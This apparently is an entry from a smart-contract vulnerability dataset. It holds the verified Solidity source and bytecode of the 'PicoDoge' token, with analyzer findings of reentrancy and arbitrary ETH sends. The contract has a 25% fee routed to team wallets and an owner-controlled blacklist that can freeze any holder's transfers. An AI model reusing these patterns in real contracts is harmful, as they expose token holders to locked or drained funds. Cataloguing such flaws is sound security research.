71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561114757506001600160a01b03821660009081526005602052604090205460ff16155b801561116357503360009081526005602052604090205460ff16155b61116c57600080fd5b6001600160a01b0383166111d05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610850565b6001600160a01b0382166112325760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610850565b600081116112945760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610850565b600080546001600160a01b038581169116148015906112c157506000546001600160a01b03848116911614155b15611567576009546001600160a01b0385811691161480156112f157506007546001600160a01b03848116911614155b801561131657506001600160a01b03831660009081526004602052604090205460ff16155b156114525760105460ff1661136d5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610850565b600f5442141561139b576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d548211156113aa57600080fd5b600e546113b6846108c2565b6113c09084611c72565b11156113cb57600080fd5b6001600160a01b03831660009081526006602052604090206001015460ff16611433576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff1615801561146c575060105460ff165b801561148657506009546001600160a01b03858116911614155b156115675761149642600f611c72565b6001600160a01b038516600090815260066020526040902054106114b957600080fd5b60006114c4306108c2565b905080156115505760105462010000900460ff161561154757600c54600954606491906114f9906001600160a01b03166108c2565b6115039190611c8a565b61150d9190611ca9565b81111561154757600c5460095460649190611530906001600160a01b03166108c2565b61153a9190611c8a565b6115449190611ca9565b90505b61155081611600565b47801561156057611560476115c6565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806115a957506001600160a01b03841660009081526004602052604090205460ff165b156115b2575060005b6115bf8585858486611774565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107f0573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061164457611644611ba4565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561169d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116c19190611c0a565b816001815181106116d4576116d4611ba4565b6001600160a01b0392831660209182029290920101526007546116fa9130911684610fe1565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611733908590600090869030904290600401611ccb565b600060405180830381600087803b15801561174d57600080fd5b505af1158015611761573d6000803e3d6000fd5b50506010805461ff001916905550505050565b60006117808383611796565b905061178e868686846117ba565b505050505050565b60008083156117b35782156117ae5750600a546117b3565b50600b545b9392505050565b6000806117c78484611897565b6001600160a01b03881660009081526002602052604090205491935091506117f0908590611b8d565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611820908390611c72565b6001600160a01b038616600090815260026020526040902055611842816118cb565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161188791815260200190565b60405180910390a3505050505050565b6000808060646118a78587611c8a565b6118b19190611ca9565b905060006118bf8287611b8d565b96919550909350505050565b306000908152600260205260409020546118e6908290611c72565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156119265785810183015185820160400152820161190a565b81811115611938576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108bf57600080fd5b803561196e8161194e565b919050565b6000806040838503121561198657600080fd5b82356119918161194e565b946020939093013593505050565b600080604083850312156119b257600080fd5b50508035926020909101359150565b6000806000606084860312156119d657600080fd5b83356119e18161194e565b925060208401356119f18161194e565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a2b57600080fd5b823567ffffffffffffffff80821115611a4357600080fd5b818501915085601f830112611a5757600080fd5b813581811115611a6957611a69611a02565b8060051b604051601f19603f83011681018181108582111715611a8e57611a8e611a02565b604052918252848201925083810185019188831115611aac57600080fd5b938501935b82851015611ad157611ac285611963565b84529385019392850192611ab1565b98975050505050505050565b600060208284031215611aef57600080fd5b81356117b38161194e565b600060208284031215611b0c57600080fd5b5035919050565b80151581146108bf57600080fd5b600060208284031215611b3357600080fd5b81356117b381611b13565b60008060408385031215611b5157600080fd5b8235611b5c8161194e565b91506020830135611b6c8161194e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611b9f57611b9f611b77565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611bce57611bce611b77565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611c1c57600080fd5b81516117b38161194e565b600080600060608486031215611c3c57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611c6757600080fd5b81516117b381611b13565b60008219821115611c8557611c85611b77565b500190565b6000816000190483118215151615611ca457611ca4611b77565b500290565b600082611cc657634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1b5784516001600160a01b031683529383019391830191600101611cf6565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220997d244386df05b357dc324e7425ed315b0caca0669dcba8d67b44625b848e6b64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,634
0x79445ad0f44380e03c9733e81075aa4c20b91bdc
/** *Submitted for verification at Etherscan.io on 2021-07-04 */ /* PICODOGE https://t.me/picodoge */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PicoDoge is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "PicoDoge"; string private constant _symbol = "PicoDoge"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 20; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 20; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600881526020017f5069636f446f6765000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5069636f446f6765000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffff